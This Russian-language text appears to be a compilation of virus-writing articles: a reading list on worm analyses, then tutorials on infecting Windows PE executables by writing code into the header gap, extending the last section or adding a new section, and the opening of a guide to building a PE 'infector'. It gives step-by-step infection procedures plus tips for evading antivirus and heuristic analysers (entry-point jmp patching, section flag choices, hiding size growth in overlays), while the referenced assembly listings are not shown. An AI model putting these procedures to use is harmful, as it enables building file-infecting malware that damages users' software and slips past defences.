o подробный анализ червя Slapper от Symantec, ориентированный на профессионалов, настоятельно рекомендуется всем тем, кто знает Си и не шарахается от ассемблера: _http://securityresponse.symantec.com/avcenter/reference/analysis.slapper.worm.pdf;_

• Inside the Slammer Worm:

o анализ червя Slammer, ориентированный на эрудированных пользователей ПК, тем не менее достаточно интересен и для администраторов: _http://www.cs.ucsd.edu/~savage/papers/IEEESP03.pdf;_

• An Analysis of Microsoft RPC/DCOM Vulnerably

o обстоятельный анализ нашумевшей дыры в NT/W2K/XP/2003, рекомендуется

_http://www.inetsecurity.info/downloads/papers/MSRPCDCOM.pdf_ ;

• The Internet Worm Program: An Analysis

o исторический документ, выпущенный по следам Червя Морриса, и содержащий подробный анализ его алгоритма;

_http://www.cerias.purdue.edu/homes/spaf/tech-reps/823.pdf;_

• With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988

o еще один исторический анализ архитектуры Червя Морриса:

_http://www.deter.com/unix/papers/internet_worm.pdf_ ;

• The Linux Virus Writing And Detection HOWTO

o любопытная вариация на тему "пишем вирус и антивирус для Linux"

_http://www.rootshell.be/~doxical/download/docs/linux/Writing_Virus_in_Linux.pdf;_

• Are Computer Hacker Break-ins Ethical?

o этично ли взламывать компьютеры или нет, вот в чем вопрос!

_http://www.cerias.purdue.edu/homes/spaf/tech-reps/994.pdf;_

• Simulating and optimising worm propagation algorithms:

o анализ скорости распространения червя в зависимости от различных условий, рекомендуется для людей с математическим складом ума:

_http://downloads.securityfocus.com/library/WormPropagation.pdf:_

• Why Anti-Virus Software Cannot Stop the Spread of Email Worms

o статья, разъясняющая причины неэффективности антивирусного программного обеспечения в борьбе с почтовыми вирусами, настоятельно рекомендуется для ознакомления всем менеджерам по рекламе. антивирусов:

_http://www.interhack.net/pubs/email-trojan/email-trojan.pdf;_

• просто интересные документы по червям россыпью:

o http://www.dwheeler.com/secure-programs/secure-programming-handouts.pdf;

o http://www.cisco.com/warp/public/cc/so/neso/sqso/safr/prodlit/sawrm_wp.pdf;

o http://engr.smu.edu/~tchen/papers/Cisco%20IPJ_sep2003.pdf;

o http://crypto.stanford.edu/cs155/lecture12.pdf;

o http://www.peterszor.com/slapper.pdf;

На самом деле, это еще не конец статьи и в следующем номере мы подробно рассмотрим механизм переполнения буфера, технику выявления уязвимых программ и некоторые способы защиты.

1. Introduction

2. I. Внедрение в заголовок

3. II. Расширение последней секции

1. -приложение 1. Выравнивание

4. III. Добавление новой секции

1. -приложение 2. Bound-импорты

5. Conclusion.

Существует множество методов заражения (то есть записи кода вируса в код программы без потери работоспособности последнего) файлов формата Portable Executeable. Есть простые методы, которые с лёгкостью отлавливаются антивирусами, есть очень навороченные, о которых я вам когда-нибудь может быть расскажу... Вполне может случиться так, что вы изобретёте свой собственный оригинальный способ и успеет пройти дня этак три прежде чем сотрудники Kaspersky Lab смогут его проанализировать и пополнить свои avc'шки парой-тройкой новых контрольных сумм...

Чтобы иметь хотя бы теоретический шанс сделать это, вы должны:

1) знать структуру PE;

2) уметь находить адреса API'шных функций по их имени;

3) assembler, assembler и ещё раз assembler, что бы там не говорили про него ортодоксы из rsdn'а.

4) разобраться с основными методами заражения PE, чем мы с вами сейчас и займёмся под моим руководством.

Приведенные в статье исходники заточены под TASM32. Замечу жирным, что они не являются вирусами ; и вообще - материал статьи предназначен исключительно для самообразования и в первую очередь ориентирован на любопытных программистов, интересующихся местом жительства этих зверушек. Те несколько строк, которые могут превратить вас из законопослушных исследователей программ в вирмейкеров - остаются на совести читателя и в данной статье не рассматриваются.

Хочу выразить благодарность людям, которые оказали неоценимую помощь при подготовке данного материала, а именно:

Serrgio

90210

Dmitri Alexeenko

А так же группам:

HI-TECH

WASM

TNT

Однако, ближе к делу. Существует три основных метода заражения PE EXE:

1) внедрение в заголовок;

2) расширение последней секции;

3) добавление новой секции.

На этой оптимистической ноте надеваем белый халат, берём в руки скальпель и, вооружившись бинокулярным микроскопом, осторожно приоткрываем чашку Петри с копошащейся там заразой.

Итак, рассмотрим первый метод заражения PE EXE файлов, а именно запись в заголовок жертвы. Он не самый простой, но довольно интересный, с него и начнём.

Если кому интересно, то небезызвестный вирус win95.CIH (Чернобыль) записывал свою загрузочную процедуру именно в то место, которое будет рассмотрено ниже. Мы пока что пойдем простым путем и запишем туда все тело нашего "вируса". Я надеюсь, у вас есть под рукой описание структуры PE заголовка, рекомендую почаще заглядывать в него с целью лучшего усвоения материала. Довольно неплохой труд у Hard'а Wisdom'а, хотя его статьи и имеют ряд неточностей. Для знающих английский язык, рекомендую описание PE от некого Luevelsmeyer.

Прежде всего отмечу, что "запись в заголовок" - это не совсем верное утверждение, так как рассматриваемое пространство находится не в самом заголовке. Но для простоты изложения я позволю себе это допущение.

На нижеследующем рисунке изображена примерная структура PE EXE файла.

Участок, помеченный голубым - это и есть "дыра" в которую мы запишем тело "вируса". Как видно из рисунка, она находится между последним элементом (element n) таблицы объектов и смещением первой секции.

Откуда же эта дыра взялась? Дело в том, что существует такое понятие, как выравнивание. За эту величину отвечает поле File Align в PE Header по смещению 3Ch и имеющее тип DWORD. В большинстве случаев оно равно 200h и это означает, что секции в файле должны быть расположены по адресам кратным данному значению. Большинство линкеров, выставляют физический адрес первой секции равным 600h, следовательно, первая секция располагается в файле по смещению 600h. Заголовок файла содержит намного меньше информации, чем 600h байт, вот и получается в результате "пробел" - чистый клочок бумаги, на котором мы можем написать всё, что пожелаем ;)

Вот вам реальный пример:

Думаю, пояснений не требуется, из рисунка видно, что до смещения 600h присутствует свободное место.

Для того чтобы найти это свободное место необходимо:

1) узнать некоторые значения из PE Header;

2) узнать некоторые значения из Object Table;

3) произвести парочку нехитрых арифметических операций.

Вот нужные нам поля из заголовка PE EXE файла:

PE Header:

Почему в поле NT Header Size присутствует ("минус"18h)? Дело в том, что это поле показывает размер PE заголовка, начиная с поля Magic, которое находится по смещению 18h, следовательно, чтобы найти размер всего заголовка, необходимо прибавить смещение поля Magic.

Object Table:

Теперь давайте подробнее рассмотрим действия, которые нам необходимо выполнить для поиска свободного места. В скобках даны пояснения, откуда берутся значения, из PE Header или Object Table.

1. Находим размер PE заголовка (PE Header)

2. Находим размер таблицы объектов, для этого:

a) берем количество элементов Object Table (PE Header)

b) умножаем на размер одного элемента, т.е. на 40

3. К виртуальному адресу (далее VA) файла–жертвы прибавим сумму результатов вычислений первого и второго пунктов, получим VA искомой области.

4. Находим физическое смещение первой секции:

a) находим смещение первого элемента таблицы объектов, это конец заголовка PE и начало Object Table

b) получаем из этого элемента физическое смещение первой секции и добавляем к нему VA файла – жертвы

5. Вычислим разность результатов четвертого и третьего пунктов, получаем размер искомой области

А вот и сам код, который находит нужную "дыру" в заголовке:

После выполнения этого кода в eax будет размер свободного места, а в esi его виртуальный адрес.

Увидели? Все просто и ясно. Теперь вам понятно, как можно заразить файл, не увеличивая при этом его размера?

Сейчас немного охлажу вашу радость. Не все так просто, вот явные минусы этого метода:

- "дыра" не резиновая, а следовательно и размер вируса ограничен.

- если вы поставите Entry Point на эту область, антивирусные программы это сразу заметят, т.к. они не любят, когда точка входа в программу указывает на заголовок. (Напомню, что Entry Point - точка входа в программу - находится в PE Header и имеет смещение 28h).

С первым минусом бороться просто: возьмите любую статью, в которой рассказывается, как оптимизировать код по размеру и не поленитесь пробежать по своему исходнику. Есть мнение, что ресурсы современных компьютеров позволяют не принимать во внимание такую "мелочь", как размер программы, но наука под названием вирмейкинг придерживается на счёт этого несколько иного мнения.

Для борьбы со вторым минусом можете по оригинальной Entry Point вставить jmp на ваш код, сохранив затертые байты (байты, поверх которых запишется jmp на код вируса) и антивирусы, не смогут обнаружить вас по этому признаку, т.к. Entry Point не изменится.

Ну и еще пара моментов, которые могут доставить вам несколько "приятных" часов. Запись в данную область запрещена, так что ваш код (в заголовке жертвы) не сможет сохранять данные в свое тело, следовательно, можно забыть про глобальные переменные. Вот 3 выхода, которые позволят обойти это ограничение, рассмотрим вкратце, в чем они заключаются:

1. Используйте VirtualProtect на эту страницу. В SDK написано, что функция VirtualProtect изменяет режим доступа к требуемой области памяти для текущего процесса. Вот простенький пример:

Более детальное описание функции смотрите в Platform SDK.

2. Можно воспользоваться оригинальным методом Z0MBiE, сущность которого заключается в изменении атрибутов страниц в таблице страниц. Этот метод позволяет производить запись даже в kernel из ring3! Однако у него есть один очень существенный недостаток - это работает только под win9X.

3. Чтобы не повторяться, я пошел другим путем, а именно отказался от всех глобальных переменных в своем вирусе и использовал только локальные (т.е. стековые) переменные. Кто читал мою статью по поиску API (доступна на www.wasm.ru), должен был заметить, что в исходнике нет глобальных переменных, все операции я проводил через стек.

Вы думаете это все?

Напрасно, жизнь низкоуровневого программиста тяжела, давайте поглядим на сам код.

Он хоть и будет работать, но возможны некоторые баги. Почему?

Мы берем первый элемент в таблице объектов и считаем, что он описывает первую секцию. Это утверждение основано на том, что секции идут в порядке возрастания и первый элемент описывает первую секцию. Хорошо, если бы это всегда было так.

Однако в жизни всё намного сложнее: элементы и секции PE-файла могут идти в любом порядке. И если алгоритм вируса не предусматривает подобную ситуацию, то он может запросто уничтожить такой файл, что не есть хорошо.

Выход здесь такой: нужно найти элемент с наименьшим физическим смещением секции, это и будет смещение первой секции.

Это было первое наше "упущение". Второе заключается в том, что после последнего элемента Object Table и до rva=SizeOfHeaders, могут находиться так называемые Bound импорты. На картинке видно, что после последнего элемента Object Table есть еще «что то». В это и есть Bound импорты. Что это такое мы рассмотрим более подробно в третей части, пока просто посмотрите в исходнике как происходит проверка на их наличие и как их присутствие отражается на алгоритме поиска свободного места.

Размер и RVA Bound импортов можно узнать из заголовка PE.

PE Header:

Я думаю, не имеет смысла объяснять все подробно, ничего сверхъестественного в этом коде нет, просто мы находим первый элемент в таблице объектов и смотрим на физическое смещение секции, которую он описывает. Для начала мы принимаем это смещение за наименьшее. Далее находим второй элемент и сравниваем физическое смещение "его" секции с предыдущим, если оно меньше чем в первом элементе, то примем текущее за наименьшее и таким образом работаем в цикле столько раз, сколько у нас элементов. В итоге мы находим элемент в котором физическое смещение секции является наименьшим по отношению к другим элементам. Теперь можно утверждать, что этот элемент описывает первую секцию. Затем мы проверяем наличие Bound импортов, если обнаружено их присутствие, то добавим их размер к размеру PE Header и Object Table. Дальше все так же как и в первом примере.

Хочу сразу заметить, что данные примеры написаны не для того, чтобы их тупо передирали, а для объяснения самого принципа. Поэтому они не сохраняют содержимого регистров и имеют не самый оптимальный алгоритм. Я надеюсь, что вы разберетесь с этим и сделаете лучше, т.к. оптимизация кода выходит за рамки этой статьи.

Напоследок еще одна тонкость, в PE Header по смещению 54h находится DWord, который показывает общий размер всех заголовков, т.е. DOS Stub + PE Header + Object Table + Bound Imports. Это значение нужно сделать равным физическому смещению первой секции, т.е. мы как бы растянули заголовок до первой секции. Если этого не сделать, то загрузчик забьет нулями все, что находится между физическим смещением первой секции и общим размером заголовков. Таким образом мы потеряем часть "вируса".

Запись кода в заголовок показана в примере Example1-3.asm

Скажу сразу, что огромным минусом данного метода является то, что размер зараженного файла увеличится, а, следовательно, увеличится вероятность быть обнаруженным слишком дотошным пользователем (не говоря уж об антивирусах). Обойти это можно разными способами. Например, можно запаковать секцию или ее часть, а в высвобожденное пространство записать тело вируса и при передачи управления распаковывать секцию (тогда, кстати, не придется её расширять). Везде встречаются свои трудности и тонкости, я надеюсь рассмотреть впоследствии как можно больше технологий и способов.

Что ж, не будем тянуть и пойдем дальше...

Итак, в первой части мы уже сталкивались с таблицей объектов (Object Table) и ее элементами. Настало время познакомится с форматом ее элемента.

Object Entry: = 28h bytes

Каждый элемент описывает одну секцию. В Object Table элементы идут последовательно друг за другом без промежутков, но необязательно в порядке возрастания Physical Offset и Section RVA. Т.е. последний элемент не всегда описывает последнюю секцию, хотя в большинстве случаев это так (под "последней секцией" я подразумеваю секцию, которая физически и виртуально находится в файле последней). При поиске свободного места в заголовке мы искали физическое смещение первой секции, т.е. секции, которая находится в файле первой физически (посмотрите ещё раз код из первой части). Здесь же нам понадобится физическое смещение последней и смещение элемента (из Object Table) ее описывающего - для того, чтобы пропатчить некоторые значения.

Найдем самое большое значение Physical Offset из всех элементов. Элемент, содержащий это значение, и будет нам нужен.

Так же нам понадобится найти элемент, который содержит наибольшее значение Virtual RVA. Объясню зачем это нужно… Дело в том, что секция может быть физически в файле последней, а вот виртуально, т.е. в памяти, она может расположиться где угодно, например первой. Тогда при ее расширении мы затрем последующую секцию в памяти. Вообще то я такого не встречал, наверное и линкеров таких нет, но вирус на то и вирус, чтобы предусмотреть все возможные варианты.

Затем нам нужно проверить, принадлежат ли наибольшие значения Physical Offset и Virtual RVA одному элементу, если да, то секция является последней и физически в файле и виртуально в памяти.

Теперь мы можем дописать свой код в последнюю секцию и пропатчить элемент, который ее описывает.

Если вы прислушались моего совета и пользуетесь отладчиком, то в случае работы с TASM, должны были заметить довольно интересную вещь. Физический конец последней секции меньше размера файла!!!

Т.е. Physical Offset + Physical Size < File Size, как так, а что же содержится в оставшемся участке? В большинстве случаев ничего, просто нули, это называется оверлеем. Оверлей – это то, что находится между физическим концом последней секции и концом файла. Конечно, оверлей может содержать и полезную для файла информацию.

Вот пакет TASM, при компиляции, создает файл с пустым оверлеем, зачем он это делает для меня осталось загадкой. MASM и FASM такого не допускают, и файлы скомпилированные их линкерами имеют «нормальную» структуру.

Теперь, наша задача определить является ли оверлей в жертве пустышкой, т.е. содержит нули или это оверлей содержащий какую либо информацию для жертвы. Поясню на примере…

Кстати, если найден оверлей-пустышка, то с таким файлом можно проделать довольно интересную вещь. Когда размер кода, внедряемого в жертву, меньше размера пустого оверлея, то при записи нашего кода в файл, размер его не увеличится. Т.е. секцию мы расширим, а размер не увеличится.

В нижеследующем коде как раз и выполняются эти действия. Если физический конец последней секции больше размера файла, и разность между ними заполнена нулями, то количество байт для записи в файл мы не увеличиваем и оставляем равным размеру файла. Конечно, это происходит, если размер оверлея больше или равен размеру внедряемого кода.

Да, чуть не забыл, после расширения секции, в PE Header нам тоже нужно кое-что изменить, смотрите:

PE Header:

Просто к DWord по этому смещению нужно будет прибавить размер нашего кода. Это справедливо для примера Example2-1.asm, о втором примере читайте ниже.

Теперь еще один немаловажный момент, касающийся виртуального и физического размера секции.

Что такое виртуальный размер? Это то, сколько памяти отведет система для секции, а физический - сколько она занимает на диске. Здесь могут быть такие варианты:

Virtual Size = Physical Size - идеальный вариант

Virtual Size > Physical Size - так строятся секции с неинициализированными данными

Virtual Size < Physical Size - бывает и так, загрузчик системы все равно загрузит такую секцию, т.к. он смотрит на Physical Size

Подытожим то, что необходимо сделать в простейшем случае:

1) находим смещение последней секции и ее элемента из Object Table;

2) записываем код "вируса" в конец последней секции (Physical Offset+Physical Size=конец секции);

3) увеличиваем физическую и виртуальную длины последней секции на длину "вируса";

4) увеличиваем размер загружаемого образа на длину "вируса";

5) при необходимости изменяем характеристики секции (битовые флаги);

Необходимо учесть такой момент, если у расширяемой секции физическая длина равна 0, то эту секцию трогать нельзя.

Для написания вируса этого конечно мало, но перевести Entry Point и др. действия вы сможете выполнить сами.

А вот и некоторые битовые флаги, характеризующие секцию.

Object Flags:

Рекомендую установить такие флаги:

00000020h

+

20000000h

+

80000000h

=

A0000020h

Первые 2 уменьшат подозрения у эвристических анализаторов, т.к. точка входа, указывающая на секцию, не являющуюся кодовой, смотрится неестественно, а последний делает секцию доступной для записи.

В принципе, того что я вам здесь написал, уже достаточно для написания рабочего вируса, но...

...рано расслабляться, придется рассмотреть еще одну тему, итак, выравнивание.

Хотя данные примеры будут работать и с не выровненными значениями, это не значит, что эту тему можно пропустить. Почему? Неизвестно как поведут себя более поздние версии Windows, и вы не без основания обвините меня в том, что ваши вирусы получили GPF или загрузчик не сможет запустить такой файл. Поэтому желательно выровнять те поля, описание которых этого требует. Так что наберитесь терпения и разберитесь с тем, что я вам здесь объясню. Это вам еще ни раз понадобится. Приведу некоторые поля из описания PE формата Hard'а Wisdom'а.

PE Header:

Object Table:

Ясно, зачем я их привел?

Первые два поля Object Align и File Align - это те значения, на которые нужно выравнивать остальные. В описании полей написано что куда. Я же объясню, как это сделать.

Что же такое выравнивание...

Выравнивание, это округление выравниваемого значения в большую сторону до кратности с выравнивающим фактором. Два первых поля Object Align и File Align и есть выравнивающие факторы для соответствующих полей.

(выравнивающий фактор.... этот термин я ввел в свои статьи для краткости, может быть он и не совсем правилен, но, я думаю, вы меня поняли)

При выравнивании можно воспользоваться такой формулой:

(x+(y-1)) &(~(y-1)), где,

x-выравниваемое значение

y-выравнивающий фактор

Уточнение: выравнивающий фактор должен быть степенью двойки, иначе формула не будет иметь смысла.

Т.к. содержимое полей Object Align и File Align по утверждению Microsoft являются степенями двойки, мы можем смело использовать данную формулу.

Хмм, это на первый взгляд выглядит сложно, на практике все просто и ясно.

Скомпилируйте и посмотрите в отладчике, меняйте значения. Все встанет на свои места.

В примере Example2-2.asm находится код, который расширяет последнюю секцию у тестового файла и записывает себя в полученное пространство. Выравниваются все значения, которые этого требуют.

Интересно, что линкер ваткома устанавливает виртуальные длины секций в 0, но загрузчику на это плевать и он работает с такими файлами. Для наглядности я выровнял все значения, которые, судя по описанию из PE формата, должны быть выровнены.

Поясню некоторые действия, которые встречаются в примере Example 2.2.asm При выравнивании виртуальной и физической длин секции, необходимо учесть несколько моментов, это не обязательно, но уменьшит подозрения у антивирусов и пользователей, которые любят копаться в файлах всевозможными PE Explorer’ами.

Уточняю, все нижеописанное, справедливо в тех случаях, когда соблюдается равенство Virtual Size = Physical Size для каждой секции. Например:

В таком случае, выравнивать физическую и виртуальную длины секции по разному не нужно. Тут могут быть 3 взаимоисключающих варианта:

-если Virtual Size и Physical Size во всех секциях кратны наименьшему (но не кратны наибольшему) из SectAlignment, FileAlignment, то измененные Virtual Size и Physical Size изменяющейся секции должны быть кратны наименьшему из SectAlignment, FileAlignment

-если Virtual Size и Physical Size во всех секциях кратны наибольшему (а значит и наименьшему) из SectAlignment, FileAlignment, то измененные Virtual Size и Physical Size изменяющейся секции должны быть кратны наибольшему из SectAlignment, FileAlignment

-если Virtual Size и Physical Size хотя бы в одной секции не кратны ни одному из значений SectAlignment, FileAlignment, то выравнивать длины измененной секции не нужно, просто добавьте к ним не выровненный размер вашего кода.

И еще один немаловажный момент, загрузчик от Windows 2000 следит за следующим равенством для виртуально последней секции:

VirtualSize + VirtualAddress = Image Size

Т.е. вам нужно будет приравнять поле Image Size к сумме полей Virtual Size и Virtual Address для виртуально последней секции. Естественно, что эту операцию нужно проводить после всех вышеописанных манипуляций.

Вы уже должны иметь достаточно знаний, чтобы справиться с добавлением секции своими силами. Но могут возникнуть некоторые проблемы, на которых вы можете споткнуться, поэтому я все же опишу основные действия, которые вам потребуются, и приведу пример добавления последней секции к заражаемому файлу.

Для этой части статьи, как и для второй, я написал 2 исходника. Они оба являются рабочими, но из первого я постарался убрать все, без чего он останется работоспособным. Т.е. глядя на него, вам будет проще понять сам принцип внедрения вируса. Второй исходник является расширенной версией первого. Например, выравнивание в нем происходит по определенным правилам, суть которых я раскрыл во второй части, также, учтено наличие Bound импортов. Приступим…

Вот описание еще одного значения из PE Header, которое я не давал. Его мы уже использовали в предыдущих частях и, я думаю, вы уже поняли, зачем оно нужно и что из себя представляет.

PE Header:

Это поле отвечает за количество элементов, содержащихся в Object Table. После добавления новой секции мы должны провести инкремент этого поля, т.е. увеличить его на единицу, если, конечно, вы добавляете одну секцию. В противном случае увеличивайте его на число, равное количеству добавляемых секций. С этим все понятно…

Сложность может возникнуть при добавлении нового элемента в Object Table, т.к. в некоторых файлах присутствуют Bound импорты. В первой части этой статьи я уже говорил, что они находятся после Object Table, следовательно, при добавлении нового элемента мы можем их просто затереть.

Приложение 2 объясняет, что представляют собой Bound импорты, поэтому прежде чем читать дальше, настоятельно рекомендую заглянуть туда.

Теперь давайте посмотрим на код. Прежде чем добавлять элемент в Object Table, мы должны убедится в отсутствии Bound импортов, а если они присутствуют, то передвинуть их. Нижеприведенный код это и делает.

Суть такова, если в файле имеются Bound импорты, то мы просто передвинем их вперед по коду на 40 байт, вследствие чего освободится место для нового элемента, который мы добавим. Тут нужно будет не забыть проверить, не «залезут» ли Bound импорты на первую секцию файла при их переносе.

С форматом элемента из Object Table, вы уже должны быть знакомы, для кого это новость, читайте описание формата PE файлов, т.к. во второй части статьи я это уже рассматривал.

Для заполнения полей VirtualSize и PhysicalSize возьмите размер вашего вируса, выровненный на соответствующие поля (Example3-1.asm), в Example3-2.asm выравнивание происходит по правилам, которые были оговорены в приложении 1.

При заполнении полей Section RVA и PhysicalOffset, важно помнить, что эти поля должны быть выровнены всегда!!!

Считаются они так:

SectionRVA(новой сек.) = SectionRVA(последней сек.) + VirtualSize(последней сек.)

PhysicalOffset(новой сек.) = PhysicalOffset(последней сек.) + PhysicalSize(последней сек.)

В том случае, если, в соответствии с правилами выравнивания, длины секции вы оставили не выровнеными, не забудьте выровнять Section RVA и Physical Offset новой секции после расчетов. Чтобы не утруждать себя излишними проверками, выравнивайте их в любом случае.

После того как элемент заполнен, в том числе и поле характеристик секции, можете приступать к копированию кода вируса в новую секцию. EDI должен указывать на новый элемент в Object Table.

Осталось пропатчить поле Image Size в PE Header. EDI указывает на новый элемент, а eax на PE Header.

Впринципе, для успешного заражения файлов можно и не знать что такое Bound импорты и зачем они нужны. Но для полноты картины, а так же чтобы предупредить вопросы наиболее любопытных исследователей я включил в свои статьи эту главу.

Для тех, кому лень разбираться с нижеописанным, просто учитывайте, что в некоторых файлах могут присутствовать Bound импорты и в ряде случаев вам необходимо будет учесть их наличие. В PE Header есть поля, которые заключают в себе всю нужную вам информацию о Bound импортах, о чем я уже говорил в первой части статьи.

PE Header:

Теперь настало время объяснить что же они из себя представляют и для чего нужны...

Для начала необходимо познакомится с таким понятием как биндинг. Биндинг, это пропатчивание адресов импорта на этапе линковки программы или после нее при помощи специальных утилит. Смысл этого заключается в том, чтобы облегчить работу загрузчика при запуске вашей программы.

Есть два вида биндинга, old style binding и new style binding.

Bound импорты существуют только при new style, но для того чтобы почувствовать разницу мы рассмотрим оба случая.

При old style дело обстоит так...

Адреса функций в каталоге импорта пропатчены заранее, и загрузчик при запуске файла смотрит на TimeDateStamp (время создания) в структуре IMAGE_IMPORT_DESCRIPTOR каталога импорта загружаемого файла и на TimeDateStamp той dll'ки из которой импортируются ф-ии. Если они не идентичны, то загрузчик перепатчит адреса таких импортов, т.к. такая dll'ка имеет другое время создания, в следствии чего адреса импортируемых функций могут отличаться. Поле TimeDateStamp требуемой dll так же может иметь значение 0, что происходит, если для данных функций не было биндинга. В таком случае загрузчик пропатчит все адреса импортируемых функций в IMAGE_IMPORT_DESCRIPTOR которых поле TimeDateStamp было равно 0. Если имела место коллизия, т.е. dll из которой наш файл импортирует функции загружена не по своей Image Base, то так же происходит репатч всех адресов импортируемых функций из этой dll.

А как же быть, если dll экспортирует функцию код которой содержится в другой dll, т.е. при форварде? Ведь у "другой" dll неизвестно время ее создания и версия...

Во избежания всех связанных с этим печальных последствий, в каталоге импорта загружаемого файла в структуре IMAGE_IMPORT_DESCRIPTOR есть поле ForwarderChain, которое содержит индекс первого импортируемого форварда в массиве FirstThunk. Элементом с таким индексом в массиве FirstThunk является элемент содержащий индекс следующего импортируемого форварда в этом же массиве. И так по цепочке, пока не встретится элемент со значением -1, что означает - форвардов больше нет.

Логика загрузчика такова, если он встретил ForwarderChain не равное -1, то он пройдет по цепочке форвардов и перепатчит их адреса, т.е. форварды перепатчиваются всегда!

Теперь мы подходим к самому важному, а именно, что же представляет из себя new style binding и для чего нужны Bound импорты...

При new style, поля TimeDateStamp и ForwarderChain для dll'ок из которых происходит экспорт форвардов, всегда равны -1. И лоадер, обрабатывая такой IMAGE_IMPORT_DESCRIPTOR смотрит в директорию Bound импортов (IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT), в которой содержатся информация о том сколько функций в каждой dll являются форвардами и TimeDateStamp всех модулей из которых происходят форварды, опять же, для каждой dll. В общем директория Bound импортов, призвана облегчить жизнь загрузчику. В принципе все происходит как и с обычными импортируемыми функциями, т.к. TimeDateStamp известен для каждого форварда и при равенстве времени создания dll, загрузчик не будет перепатчивать адреса импортируемых форвардов, что экономит время. Ниже приведена схема IMAGE_IMPORT_DESCRIPTOR, взятая из журнала Codebreaker's

Я постарался объяснить саму суть, без всевозможных нюансов, чтобы было понятно, зачем нужны Bound импорты и когда они присутствуют. Для тех кому хочется разобраться с этим подробнее, читайте Мэта Питрека и статью "Об упаковщиках в последний раз", которую можно взять с www.wasm.ru

Вот и все, надеюсь, я довольно доступно объяснил простейшие методы внедрения кода в файлы формата PE EXE. Если остались вопросы или вы хотите услышать о других технологиях заражения, пишите мне на sars@ukrtop.com, PGP ключ я прилагаю в архиве (находится в архиве wasm_files.zip: files/0350/pe_inf.zip) с исходниками. Главное, уясните себе, что цель вирмейкинга заключается, прежде всего, в исследовании операционных систем и их уязвимостей, а не в том, чтобы напакостить соседу или людям которые этого не заслуживают. Поэтому, если вы больны на голову и у вас извращенные понятия, я за вас не в ответе.

Введение Добрый вечер дамы и господа! Если вы читаете этот документ, то вы наверное прочитали знакомые слова в названии статьи или вы новичок и хотите узнать больше о компьютерной вирусологии. А может Вы просто щелкнули на ссылку в броузере из-за любопытства. Ну ладно, не будет превращать эту статью в низкосортное литературное произведение, и перейдем ближе к делу. В этой статье мы напишем инфектор-PE файлов. Эта статья описывает: во-первых, как заражать исполняемые файлы(PE - Portable Executable) в операционной системе Windows, во-вторых, процесс создания Windows-приложений на ассемблере, в-третьих, некоторые системные механизмы ОС семейства Windows. Эта статья не претендует на оригинальность, а просто, возможно, добавит Вам некоторые новые знания в области операционных систем Windows. Мы создадим пользовательский интерфейс для нашего инфектора, и опишем действия которые нужны для заражения PE-файлов. Инфектор, возможно, не учитывает всех тонкостей, но этот материал даст Вам пищу для размышлений. Способ заражения

Заражать файл мы будем с помощью метода добавления кода в последнюю секцию. Это не оригинальный способ, но он реально работает, и Вы можете его использовать в своих работах, несколько модифицировав. Как Вы знаете, в PE-файле есть секции, которые содержат материал для приложения, т.е. код, данные, ресурсы, информация для отладчика, информация о базовых поправках, таблица импорта/экспорта и т.д. Принципиально секции различаются по атрибутам. Т.е. например секция .text(для компиляторов от Microsoft), которая содержит код для исполнения приложением, имеет атрибуты: Code, Executable, Readable. Так же и все остальные секции. Секции которые содержаться в PE-файле описываются в таблице секций. Это массив структур, в которых содержится вся необходимая информация о секции. Это кратко о секциях. Мы просто ищем в таблице секций максимальное смещение секции в файле(!). В конец этой секции мы записываем наш код, а также с учетом файлового смещения(File Alignment) забиваем нулями остальное место. После того как наш код вставлен необходимо модифицировать таблицу секций, а также сам заголовок PE-файла(PE header). Вот действия по шагам, которые Вам надо сделать, чтобы заразить PE-файл:

1. Находим последнюю секцию виртуально и физически.

2. Проверка, не равен ли размер последней секции нулю.

3. Если нет, то записываем в конец секции код вируса.

4. Выравниваем новую секцию с учетом файлового выравнивания.

5. Правим виртуальный и физический размеры секций.

6. Правим точку входа.

7. Правим размер образа - ImageSize=VirtualSize+VirtualAddress

8. Правим - характеристики - на 0А0000020h

Чтобы что-то записывать в исполняемый файл я буду использовать файловую проекцию(FileMapping). File Mapping - это механизм позволяющий работать с файлом как будто он находиться в оперативной памяти. Мы записываем данные в память, а на самом деле мы записываем их в файл. Этот механизм достаточно широко используется при программировании приложений для Windows, а также его использует сама ОС, например при запуске исполняемого файла на выполнение (функцией CreateProcess(…)). Файловый мэппинг используется как механизм для связи между процессами, если создать общий раздел памяти.

Обеспечиваем доступ к данным в файле

Давайте же приступим, наконец, к кодированию. У нас есть файл PE-формата. И Вы, естественно, должны знать структуру PE-файла. Вкратце рассмотрим этот формат. Вот его общая структура (взята из книги Мета Питрека "Секреты системного программирования для Windows 95"):

Исчерпывающие определения структур вы найдете в файле WINNT.H. Названия структур в WINNT.H, которые соответствуют структурам PE-файла:

IMAGE_DOS_HEADER - DOS .EXE header

IMAGE_FILE_HEADER - файловый заголовок

IMAGE_OPTIONAL_HEADER - опциональный заголовок. Опциональным называется потому, что при создании PE-формата разработчики предполагали, что структура этого заголовка будет варьироваться от разных реализаций. "Опциональный" не означает, что он может быть, а может и не быть, как считают некоторые.

IMAGE_SECTION_HEADER - элемент, в таблице секций который, описывает каждую секцию в исполняемом файле.

Если Вас интересуют какие-то поля, то смотрите их в заголовочном файле WINNT.H.

Для заражения мы проецируем файл-жертву в память с помощью моей любимой функции CreateFileMapping:

Здесь надо немного пояснить код, если Вы вдруг чего-нибудь не поняли. С проецированием должно быть все понятно. Важно учитывать, что инфектор должен восстанавливать точку входа, т.е. после выполнения Вашего внедренного кода, код должен прыгнуть на нормальную точку входа программы. 7 байт занимает этот прыжок. Расширение последней секции происходит, учитывая файловое выравнивание. Формула для быстрого подсчета размера с учетом выравнивания дана в комментариях к коду. Например, у Вас есть значение 1322, а выравнивающий фактор 400, то выровненное значение будет равно 1600. При передаче физической памяти, передаем весь файл полностью. После этого кода, по адресу обозначенному меткой hMappingTo будет находиться виртуальный адрес начала exe-файла-жертвы. Файл, откуда берется код для заражения также проецируется, но вы могли взять данные для заражения каким-либо другим способом. Это же относиться и к файлу-жертве.

Путешествуем по PE файлу и вылавливаем нужные для нас данные

Здесь мы будем вылавливать данные из файлового и опционального заголовка, нужные нам для заражения. Вот что нам необходимо: количество секций, адрес точки входа, выравнивающий фактор, адрес размера образа, база образа, точка входа, указатель на характеристики секции, указатель на характеристики последней секции, размеры(!) секции. Если вы видите, что лишняя переменная выделена, например адрес точки входа и точка входа, то это было сделано сознательно для более лучшего усвоения материала, более четкой структурированности. Естественно, Вы можете улучшить этот код, оптимизируя его или подстраивая его под свои требования. После получения нужных данных проходим по таблице секций и ищем секцию с максимальным физическим смещением в файле(!).

